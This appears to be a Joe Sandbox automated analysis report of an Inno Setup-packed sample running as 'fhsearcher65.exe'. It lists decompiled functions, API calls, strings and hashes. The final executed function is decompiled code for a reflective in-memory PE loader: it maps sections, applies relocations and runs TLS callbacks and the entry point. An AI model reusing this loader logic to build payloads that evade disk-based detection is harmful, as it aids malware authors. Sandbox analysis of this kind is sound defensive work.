0x00446985
0x00446987
0x0044698a
0x0044698f
0x00446990
0x00446995
0x00446998
0x004469a5
0x004469b1
0x004469b6
0x004469b7
0x004469bc
0x004469bf
0x004469c6
0x004469d4
0x004469d9
0x004469d9
0x004469e1
0x004469e2
0x004469e7
0x004469ec
0x004469ed
0x004469f2
0x004469f5
0x004469fd
0x00446a0b
0x00446a10
0x00446a10
0x00446a17
0x00446a1a
0x00446a1d
0x00446a22
0x00446a25
0x00446a26
0x00446a2b

APIs

Part of subcall function 00403CBC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CF6
Part of subcall function 00403CBC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403D01

SysFreeString.OLEAUT32(?), ref: 00446A26

Strings

Unknown Method, xrefs: 004469FF
NIL Interface Exception, xrefs: 004469C8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: aa5954c65c79b3c9622b4833c6df89e1262215388601174cecb39748ea90a391
Instruction ID: 949aeaf05e8288bae369653f44acc0fd1cbbb43b56aa61f1cb8425134fee98eb
Opcode Fuzzy Hash: aa5954c65c79b3c9622b4833c6df89e1262215388601174cecb39748ea90a391
Instruction Fuzzy Hash: AB119A71B046489FD704DFA58D51AAEBABCEF0A704F92407EF500F7281DA7859048B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0048BA08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
processCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0048BA08(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				struct _STARTUPINFOA _v76;
				struct _PROCESS_INFORMATION _v92;
				int _t20;
				intOrPtr _t26;
				intOrPtr _t38;
				void* _t44;

				_push(__edi);
				_v8 = 0;
				_t41 = __edx;
				_t29 = __eax;
				_push(_t44);
				_push(0x48baab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t44 + 0xffffffa8;
				_push(0x48bac4);
				_push(__eax);
				_push(E0048BAD0);
				_push(__edx);
				E0040364C();
				E00402934( &_v76, 0x44);
				_v76.cb = 0x44;
				_t20 = CreateProcessA(0, E00403750(_v8), 0, 0, 0, 0, 0, 0,  &_v76,  &_v92);
				_t47 = _t20;
				if(_t20 == 0) {
					_t26 =  *0x48fcf4; // 0x230b564
					E0048B960(_t26, _t29, 0, __edi, _t41, _t47);
				}
				CloseHandle(_v92.hThread);
				_pop(_t38);
				 *[fs:eax] = _t38;
				_push(E0048BAB2);
				return E00403418( &_v8);
			}

0x0048ba10
0x0048ba13
0x0048ba16
0x0048ba18
0x0048ba1c
0x0048ba1d
0x0048ba22
0x0048ba25
0x0048ba28
0x0048ba2d
0x0048ba2e
0x0048ba33
0x0048ba3c
0x0048ba4b
0x0048ba50
0x0048ba76
0x0048ba7b
0x0048ba7d
0x0048ba7f
0x0048ba84
0x0048ba84
0x0048ba8d
0x0048ba97
0x0048ba9a
0x0048ba9d
0x0048baaa

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0048BAD0,?,0048BAC4,00000000,0048BAAB), ref: 0048BA76
CloseHandle.KERNEL32(0048BB10,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,0048BAD0,?,0048BAC4,00000000), ref: 0048BA8D

Part of subcall function 0048B960: GetLastError.KERNEL32(00000000,0048B9F8,?,?,?,?), ref: 0048B984

Strings

D, xrefs: 0048BA50

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: D
API String ID: 3798668922-2746444292
Opcode ID: 2958fb57feb21a41113fd6556de6e2d25e5d3f62e213e559493ebe49aea09b58
Instruction ID: 96059156585efc2ec1c61d6d141f08077575c5cc7a83de5cc0ae5e5cc79f5464
Opcode Fuzzy Hash: 2958fb57feb21a41113fd6556de6e2d25e5d3f62e213e559493ebe49aea09b58
Instruction Fuzzy Hash: 320182B0604608AED704EBD1CC92B9F77ACDF48704F50043AF904E7290D7785E0087AC

Uniqueness

Uniqueness Score: -1.00%

Function 0042DB64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042DB64(void* __eax, char* __edx) {
				int _v16;
				char _v20;
				long _t11;
				signed int _t12;
				signed int _t13;
				void* _t17;
				char* _t18;
				int _t19;

				_t18 = __edx;
				_t17 = __eax;
				_t13 = _t12 & 0xffffff00 | RegQueryValueExA(__eax, __edx, 0, 0, 0, 0) == 0x00000000;
				if(_t13 != 0 && (_t18 == 0 ||  *_t18 == 0) &&  *0x48e0dc != 2) {
					_t13 = 0;
					_t19 = 0;
					while(1) {
						_v16 = 2;
						_t11 = RegEnumValueA(_t17, _t19,  &_v20,  &_v16, 0, 0, 0, 0);
						if(_t11 != 0 && _t11 != 0xea) {
							goto L11;
						}
						if(_t11 != 0 || _v20 != 0) {
							_t19 = _t19 + 1;
							continue;
						} else {
							_t13 = 1;
						}
						goto L11;
					}
				}
				L11:
				return _t13;
			}

0x0042db6a
0x0042db6c
0x0042db7f
0x0042db84
0x0042db98
0x0042db9a
0x0042db9c
0x0042db9c
0x0042dbb8
0x0042dbbf
0x00000000
0x00000000
0x0042dbca
0x0042dbd6
0x00000000
0x0042dbd2
0x0042dbd2
0x0042dbd2
0x00000000
0x0042dbca
0x0042db9c
0x0042dbd9
0x0042dbe0

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DB78
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DBB8

Strings

Inno Setup: No Icons, xrefs: 0042DB76

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 5554410056de8baf5c9536c3c7cce48e4cd29bb77eae3260308c3d9aed490aa8
Instruction ID: f17eae8e65927e4d6b00a5528909b55375a469b29775858eb3a4d38f160daf00
Opcode Fuzzy Hash: 5554410056de8baf5c9536c3c7cce48e4cd29bb77eae3260308c3d9aed490aa8
Instruction Fuzzy Hash: EA012B31B4537079FB3045216D51B7B5F8C9B86B60F66053BF942EA2C0D698BC04936E

Uniqueness

Uniqueness Score: -1.00%

Function 0046EA10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0046EA10(void* __edi, intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t2;
				CHAR* _t8;
				void* _t13;
				void* _t19;

				_t19 = __edi;
				_t21 = _a4 + 0xfffffff0;
				if( *(_a4 + 0xfffffff0) == 0) {
					return _t2;
				} else {
					while(E00406EE8( *0x490028) == 0) {
						E0046E8C0(0x41, 0x490028, "DeleteFile", _t19, _t21, __eflags);
						__eflags = 0x41;
						if(0x41 == 0) {
							E00408B78();
						}
					}
					while(1) {
						_t8 = E00403750( *0x490028);
						if(MoveFileA(E00403750( *_t21), _t8) != 0) {
							break;
						}
						_t13 = E0046E8C0(0x40, 0x490028, "MoveFile", _t19, _t21, __eflags);
						__eflags = _t13;
						if(_t13 == 0) {
							E00408B78();
						}
					}
					return E00403418(_t21);
				}
			}

0x0046ea10
0x0046ea1d
0x0046ea23
0x0046ea81
0x0046ea25
0x0046ea3c
0x0046ea2e
0x0046ea33
0x0046ea35
0x0046ea37
0x0046ea37
0x0046ea35
0x0046ea5e
0x0046ea60
0x0046ea75
0x00000000
0x00000000
0x0046ea50
0x0046ea55
0x0046ea57
0x0046ea59
0x0046ea59
0x0046ea57
0x00000000
0x0046ea79

APIs

Part of subcall function 00406EE8: DeleteFileA.KERNEL32(00000000,0048F628,0048D89E,00000000,0048D8F3,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EF3

MoveFileA.KERNEL32 ref: 0046EA6E

Part of subcall function 0046E8C0: GetLastError.KERNEL32(00000000,0046E9AC,?,?,?,00490028,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0046EA33,00000001), ref: 0046E8E1

Strings

DeleteFile, xrefs: 0046EA27
MoveFile, xrefs: 0046EA49

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: File$DeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3195829115-139070271
Opcode ID: 5fab1e1bf51a151f843ffe4523c2e5d314248cd481c441d76ffd1cc86133038d
Instruction ID: 4e799b1a7958d4a8895c10ad5ba05e712b67fa6bdaaf9f7363ae9b20e7d8e13f
Opcode Fuzzy Hash: 5fab1e1bf51a151f843ffe4523c2e5d314248cd481c441d76ffd1cc86133038d
Instruction Fuzzy Hash: 48F062B910021097DE107AEBD54265A33C8AF02398B10457BF940BF383FA7D9C0547AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040335C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040335C() {

				E00403314();
				 *0x48f014 = GetModuleHandleA(0);
				 *0x48f01c = GetCommandLineA();
				 *0x48f018 = 0xa;
				return 0x4030b4;
			}

0x0040335c
0x00403368
0x00403373
0x00403379
0x00403388

APIs

GetModuleHandleA.KERNEL32(00000000,0048DCAE), ref: 00403363
GetCommandLineA.KERNEL32(00000000,0048DCAE), ref: 0040336E

Strings

U1h0@, xrefs: 00403383

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1h0@
API String ID: 2123368496-562697224
Opcode ID: 9d10941dfa9e1d437e5dd8cb7fa395e763803e4e1a6a6c32adc6fe8aef801aec
Instruction ID: 98ca9cfa305ca466de0d1038b5a8d6623ff0a8a1ad94bf27ed1ec7dccf49427d
Opcode Fuzzy Hash: 9d10941dfa9e1d437e5dd8cb7fa395e763803e4e1a6a6c32adc6fe8aef801aec
Instruction Fuzzy Hash: 1FC002745012008ED7506F6678453096A949742349F9048BFB104FA1E3D67C47495BDE

Uniqueness

Uniqueness Score: -1.00%

Function 00453788 Relevance: 5.0, APIs: 4, Instructions: 45
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00453788(long __eax, intOrPtr __edx, long _a4, long _a8) {
				intOrPtr _v8;
				long _t5;
				long _t9;
				void* _t10;
				void* _t13;
				void* _t15;
				void* _t16;

				_t5 = __eax;
				_v8 = __edx;
				_t9 = __eax;
				_t15 = _t10 - 1;
				if(_t15 < 0) {
					L10:
					return _t5;
				}
				_t16 = _t15 + 1;
				_t13 = 0;
				while(1) {
					_t19 = _t13 - 1;
					if(_t13 != 1) {
						__eflags = _t13 - 1;
						if(__eflags > 0) {
							Sleep(_a4);
						}
					} else {
						Sleep(_a8);
					}
					_t5 = E00450D4C(_t9, _v8, _t19);
					if(_t5 != 0) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 2) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 3) {
						goto L10;
					}
					_t13 = _t13 + 1;
					_t16 = _t16 - 1;
					if(_t16 != 0) {
						continue;
					}
					goto L10;
				}
				goto L10;
			}

0x00453788
0x0045378f
0x00453792
0x00453796
0x00453799
0x004537e7
0x004537e7
0x004537e7
0x0045379b
0x0045379c
0x0045379e
0x0045379e
0x004537a1
0x004537ae
0x004537b1
0x004537b7
0x004537b7
0x004537a3
0x004537a7
0x004537a7
0x004537c1
0x004537c8
0x00000000
0x00000000
0x004537ca
0x004537d2
0x00000000
0x00000000
0x004537d4
0x004537dc
0x00000000
0x00000000
0x004537de
0x004537df
0x004537e0
0x00000000
0x00000000
0x00000000
0x004537e0
0x00000000

APIs

Sleep.KERNEL32(?), ref: 004537A7
Sleep.KERNEL32(?), ref: 004537B7
GetLastError.KERNEL32 ref: 004537CA
GetLastError.KERNEL32 ref: 004537D4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 9beda24b15261b873bdf1c48befefa3a908b55cecfe560da6cb4569221db8335
Instruction ID: fdbe6ac3cd63d7016b55b8eed32655bc7f85bdd2ebc742b670e9e992def2f257
Opcode Fuzzy Hash: 9beda24b15261b873bdf1c48befefa3a908b55cecfe560da6cb4569221db8335
Instruction Fuzzy Hash: 6CF0F6F6E01114574B20A9AB888552FB25CDA883A7720C12BEC05D7203D439DE0856A8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fhsearcher65.exePID: 6124, Parent PID: 5980COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0.8%
Signature Coverage:	8.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	16

Executed Functions

Function 00402F20 Relevance: 37.3, APIs: 11, Strings: 10, Instructions: 504
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00402F20(signed int* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v40;
				char _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t181;
				void* _t190;
				long _t192;
				long _t197;
				void* _t198;
				void* _t202;
				void* _t204;
				signed int _t206;
				signed int _t207;
				signed int _t212;
				void* _t214;
				intOrPtr _t215;
				intOrPtr* _t218;
				intOrPtr* _t224;
				signed int* _t226;
				signed int* _t229;
				void* _t234;
				signed int _t235;
				signed int _t236;
				signed char _t237;
				void _t238;
				signed int _t241;
				void* _t250;
				void* _t259;
				void* _t266;
				intOrPtr _t269;
				signed int _t279;
				signed char _t280;
				signed int _t281;
				void* _t282;
				signed int _t284;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				void* _t297;
				intOrPtr _t306;
				intOrPtr _t310;
				void* _t315;
				void* _t324;
				signed int _t326;
				signed short* _t327;
				void* _t328;
				signed int _t330;
				long _t333;
				long _t334;
				void* _t335;
				void* _t336;
				void* _t337;
				void* _t338;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				void* _t342;
				void* _t343;
				void* _t344;
				intOrPtr _t346;
				void* _t348;
				void* _t350;
				void* _t352;
				intOrPtr _t353;
				void* _t354;
				void* _t355;
				void* _t356;
				intOrPtr* _t357;
				signed int _t361;
				signed int _t363;
				void* _t364;
				intOrPtr _t366;
				signed int _t368;
				intOrPtr _t369;
				void* _t370;
				void* _t371;
				void* _t372;
				signed int _t373;
				void* _t374;
				void* _t375;
				void* _t376;

				_t181 =  *0x43d054; // 0xd71f2cec
				_v8 = _t181 ^ _t373;
				_t276 = __edx;
				_t322 = __ecx;
				_t346 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				if(__edx >= 0x40) {
					if( *__ecx == 0x5a4d) {
						_t279 = __ecx[0xf];
						_v68 = _t279;
						if(__edx >= _t279 + 0xf8) {
							_t276 = __ecx + _t279;
							_v64 = _t276;
							if( *(__ecx + _t279) == 0x4550) {
								if( *((intOrPtr*)(_t276 + 4)) == 0x14c) {
									_t280 =  *(_t276 + 0x38);
									if((_t280 & 0x00000001) == 0) {
										_t330 =  *(_t276 + 6) & 0x0000ffff;
										_t324 = ( *(_t276 + 0x14) & 0x0000ffff) + 0x24;
										if(_t330 != 0) {
											_t328 = _t324 + _t276;
											do {
												_t269 =  *((intOrPtr*)(_t328 + 4));
												_t328 = _t328 + 0x28;
												_t314 =  !=  ? _t269 : _t280;
												_t315 = ( !=  ? _t269 : _t280) +  *((intOrPtr*)(_t328 - 0x28));
												_t316 =  <=  ? _t346 : _t315;
												_t346 =  <=  ? _t346 : _t315;
												_t280 =  *(_t276 + 0x38);
												_t330 = _t330 - 1;
											} while (_t330 != 0);
										}
										__imp__GetNativeSystemInfo( &_v44); // executed
										_t281 = _v40;
										_t322 =  !(_t281 - 1);
										_t333 = _t281 - 0x00000001 +  *((intOrPtr*)(_t276 + 0x50)) & _t322;
										if(_t333 == (_t281 - 0x00000001 + _t346 & _t322)) {
											_t190 = VirtualAlloc( *(_t276 + 0x34), _t333, 0x3000, 4); // executed
											_v72 = _t190;
											if(_t190 != 0) {
												L22:
												_t192 = HeapAlloc(GetProcessHeap(), 8, 0x40);
												_t282 = _v72;
												_t334 = _t192;
												_v76 = _t334;
												if(_t334 != 0) {
													 *(_t334 + 4) = _t282;
													 *((intOrPtr*)(_t334 + 0x1c)) = E00402E90;
													 *(_t334 + 0x14) = ( *(_t276 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
													 *((intOrPtr*)(_t334 + 0x20)) = E00402EB0;
													 *((intOrPtr*)(_t334 + 0x24)) = E00402ED0;
													 *((intOrPtr*)(_t334 + 0x28)) = E00402EE0;
													 *((intOrPtr*)(_t334 + 0x2c)) = E00402F00;
													 *((intOrPtr*)(_t334 + 0x34)) = 0;
													 *(_t334 + 0x3c) = _v40;
													_t197 =  *(_t276 + 0x54);
													if(_v56 >= _t197) {
														_t198 = VirtualAlloc(_t282, _t197, 0x1000, 4); // executed
														_t348 = _t198;
														E00410870(_t348, _v48,  *(_t276 + 0x54));
														_t375 = _t374 + 0xc;
														_v60 = 0;
														_t202 = _t348 + _v48[0xf];
														 *_t334 = _t202;
														 *((intOrPtr*)(_t202 + 0x34)) = _v72;
														_t284 =  *_t334;
														_t322 =  *(_t334 + 4);
														_v52 = _t322;
														_t204 = ( *(_t284 + 0x14) & 0x0000ffff) + 0x24;
														if(0 >=  *(_t284 + 6)) {
															L40:
															_t206 =  *((intOrPtr*)(_t284 + 0x34)) -  *(_t276 + 0x34);
															_v64 = _t206;
															if(_t206 == 0) {
																L52:
																_t207 = 1;
															} else {
																if( *((intOrPtr*)(_t284 + 0xa4)) != 0) {
																	_t322 =  *(_t334 + 4);
																	_t276 =  *((intOrPtr*)(_t284 + 0xa0)) + _t322;
																	_v56 = _t322;
																	_t238 =  *_t276;
																	if(_t238 != 0) {
																		do {
																			_t306 =  *((intOrPtr*)(_t276 + 4));
																			_v68 = _t238 + _t322;
																			_t327 = _t276 + 8;
																			_t364 = 0;
																			if((_t306 - 0x00000008 & 0xfffffffe) > 0) {
																				_t341 = _v68;
																				asm("o16 nop [eax+eax]");
																				do {
																					_t241 =  *_t327 & 0x0000ffff;
																					if((_t241 & 0x0000f000) == 0x3000) {
																						 *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) =  *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) + _v64;
																					}
																					_t306 =  *((intOrPtr*)(_t276 + 4));
																					_t364 = _t364 + 1;
																					_t327 =  &(_t327[1]);
																				} while (_t364 < _t306 - 8 >> 1);
																			}
																			_t238 =  *(_t276 + _t306);
																			_t276 = _t276 + _t306;
																			_t322 = _v56;
																		} while (_t238 != 0);
																		_t334 = _v76;
																	}
																	goto L52;
																} else {
																	_t207 = 0;
																}
															}
															 *((intOrPtr*)(_t334 + 0x18)) = _t207;
															if(E00402D20(_t334) == 0) {
																goto L27;
															} else {
																_t276 =  *_t334;
																_t352 = _t276 + ( *(_t276 + 0x14) & 0x0000ffff);
																_t212 =  *(_t352 + 0x20);
																_t291 =  ~( *(_t334 + 0x3c)) & _t212;
																_v64 = _t291;
																_v92 = _t291;
																_t292 =  *((intOrPtr*)(_t352 + 0x28));
																_v60 = _t212;
																_v96 = _t212;
																if(_t292 == 0) {
																	_t237 =  *(_t352 + 0x3c);
																	if((_t237 & 0x00000040) == 0) {
																		if(_t237 < 0) {
																			_t292 =  *((intOrPtr*)(_t276 + 0x24));
																		}
																	} else {
																		_t292 =  *((intOrPtr*)(_t276 + 0x20));
																	}
																}
																_t326 =  *(_t352 + 0x3c);
																_v88 = _t292;
																_v84 = _t326;
																_v80 = 0;
																_v68 = 1;
																if(1 >=  *(_t276 + 6)) {
																	L76:
																	_t322 =  &_v96;
																	_v80 = 1;
																	_t214 = E00402BF0(_t276, _t334,  &_v96); // executed
																	if(_t214 == 0) {
																		goto L27;
																	} else {
																		_t322 =  *_t334;
																		_t294 = _t322;
																		_t353 =  *((intOrPtr*)(_t322 + 0xc0));
																		if(_t353 != 0) {
																			_t276 =  *(_t334 + 4);
																			_t357 =  *((intOrPtr*)(_t276 + _t353 + 0xc));
																			if(_t357 != 0) {
																				_t224 =  *_t357;
																				if(_t224 != 0) {
																					do {
																						 *_t224(_t276, 1, 0);
																						_t224 =  *((intOrPtr*)(_t357 + 4));
																						_t357 = _t357 + 4;
																					} while (_t224 != 0);
																					_t294 =  *_t334;
																				}
																			}
																		}
																		_t215 =  *((intOrPtr*)(_t294 + 0x28));
																		if(_t215 == 0) {
																			 *((intOrPtr*)(_t334 + 0x38)) = 0;
																			_pop(_t336);
																			_pop(_t354);
																			return E0040EF6F(_t334, _t276, _v8 ^ _t373, _t322, _t336, _t354);
																		} else {
																			_t297 = _v72;
																			_t218 = _t215 + _t297;
																			if( *(_t334 + 0x14) == 0) {
																				 *((intOrPtr*)(_t334 + 0x38)) = _t218;
																				_pop(_t337);
																				_pop(_t355);
																				return E0040EF6F(_t334, _t276, _v8 ^ _t373, _t322, _t337, _t355);
																			} else {
																				_push(0);
																				_push(1);
																				_push(_t297);
																				if( *_t218() != 0) {
																					 *((intOrPtr*)(_t334 + 0x10)) = 1;
																					_pop(_t338);
																					_pop(_t356);
																					return E0040EF6F(_t334, _t276, _v8 ^ _t373, _t322, _t338, _t356);
																				} else {
																					SetLastError(0x45a);
																					goto L26;
																				}
																			}
																		}
																	}
																} else {
																	_t226 = _t352 + 0x64;
																	_v48 = _t226;
																	do {
																		_v56 =  *((intOrPtr*)(_t226 - 0x1c));
																		_t339 =  *((intOrPtr*)(_t226 - 0x14));
																		_t361 =  ~( *(_t334 + 0x3c)) & _v56;
																		_v52 = _t339;
																		_t334 = _v76;
																		if(_t339 == 0) {
																			if(( *_t226 & 0x00000040) == 0) {
																				if(( *_t226 & 0x00000080) != 0) {
																					_t340 =  *((intOrPtr*)(_t276 + 0x24));
																					goto L66;
																				}
																			} else {
																				_t340 =  *((intOrPtr*)(_t276 + 0x20));
																				L66:
																				_v52 = _t340;
																				_t334 = _v76;
																			}
																		}
																		if(_v64 == _t361) {
																			L72:
																			_t326 = _t326 |  *_t226;
																			asm("bt eax, 0x19");
																			if(_t326 >= 0) {
																				_t326 = _t326 & 0xfdffffff;
																			}
																			_t292 = _v52 - _v60 + _v56;
																			_t229 = _v48;
																			goto L75;
																		} else {
																			if(_v60 + _t292 > _t361) {
																				_t226 = _v48;
																				goto L72;
																			} else {
																				_t322 =  &_v96;
																				_t234 = E00402BF0(_t276, _t334,  &_v96); // executed
																				if(_t234 == 0) {
																					goto L27;
																				} else {
																					_t235 = _v56;
																					_t292 = _v52;
																					_t276 =  *_t334;
																					_v60 = _t235;
																					_v96 = _t235;
																					_t236 = _t361;
																					_v64 = _t236;
																					_v92 = _t236;
																					_t229 = _v48;
																					_t326 =  *_t229;
																					goto L75;
																				}
																			}
																		}
																		goto L90;
																		L75:
																		_v48 =  &(_t229[0xa]);
																		_t363 = _v68 + 1;
																		_v84 = _t326;
																		_t226 = _v48;
																		_v88 = _t292;
																		_v68 = _t363;
																	} while (_t363 < ( *(_t276 + 6) & 0x0000ffff));
																	goto L76;
																}
															}
														} else {
															_t276 = _t204 + _t284;
															do {
																_t310 =  *((intOrPtr*)(_t276 + 4));
																if(_t310 != 0) {
																	if(_v56 <  *(_t276 + 8) + _t310) {
																		goto L25;
																	} else {
																		_t250 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t310, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34))); // executed
																		_t376 = _t375 + 0x14;
																		if(_t250 == 0) {
																			goto L27;
																		} else {
																			_t366 =  *_t276 + _v52;
																			E00410870(_t366, _v48 +  *(_t276 + 8),  *((intOrPtr*)(_t276 + 4)));
																			 *((intOrPtr*)(_t276 - 4)) = _t366;
																			goto L37;
																		}
																	}
																} else {
																	_t369 =  *((intOrPtr*)( &(_v48[0xe]) + _v68));
																	if(_t369 <= 0) {
																		goto L38;
																	} else {
																		_t259 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t369, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34)));
																		_t376 = _t375 + 0x14;
																		if(_t259 == 0) {
																			goto L27;
																		} else {
																			 *((intOrPtr*)(_t276 - 4)) =  *_t276 + _v52;
																			E00410EB0(_t334,  *_t276 + _v52, 0, _t369);
																			L37:
																			_t322 = _v52;
																			_t375 = _t376 + 0xc;
																			goto L38;
																		}
																	}
																}
																goto L90;
																L38:
																_t284 =  *_t334;
																_t276 = _t276 + 0x28;
																_t368 = _v60 + 1;
																_v60 = _t368;
															} while (_t368 < ( *(_t284 + 6) & 0x0000ffff));
															_t276 = _v64;
															goto L40;
														}
													} else {
														L25:
														SetLastError(0xd);
														L26:
														L27:
														E00403680(_t334);
														_pop(_t335);
														_pop(_t350);
														return E0040EF6F(0, _t276, _v8 ^ _t373, _t322, _t335, _t350);
													}
												} else {
													VirtualFree(_t282, _t192, 0x8000);
													SetLastError(0xe);
													goto L5;
												}
											} else {
												_t266 = VirtualAlloc(_t190, _t333, 0x3000, 4);
												_v72 = _t266;
												if(_t266 != 0) {
													goto L22;
												} else {
													_push("ERROR_OUTOFMEMORY!\n");
													E00402BC0();
													SetLastError(0xe);
													goto L5;
												}
											}
										} else {
											_push("alignedImageSize != AlignValueUp!\n");
											goto L4;
										}
									} else {
										_push("Section alignment invalid!\n");
										goto L4;
									}
								} else {
									_push("FileHeader.Machine != HOST_MACHINE!\n");
									goto L4;
								}
							} else {
								_push("Signature != IMAGE_NT_SIGNATURE!\n");
								goto L4;
							}
						} else {
							SetLastError(0xd);
							_push("DOS header size is not valid!\n");
							E00402BC0();
							_pop(_t343);
							_pop(_t371);
							_t9 =  &_v8; // 0x402b76
							return E0040EF6F(0, _t276,  *_t9 ^ _t373, _t322, _t343, _t371);
						}
					} else {
						_push("DOS header is not valid!\n");
						L4:
						E00402BC0();
						SetLastError(0xc1);
						L5:
						_pop(_t342);
						_pop(_t370);
						_t5 =  &_v8; // 0x402b76
						return E0040EF6F(0, _t276,  *_t5 ^ _t373, _t322, _t342, _t370);
					}
				} else {
					SetLastError(0xd);
					_push("Size is not valid!\n");
					E00402BC0();
					_pop(_t344);
					_pop(_t372);
					_t4 =  &_v8; // 0x402b76
					return E0040EF6F(0, _t276,  *_t4 ^ _t373, _t322, _t344, _t372);
				}
				L90:
			}

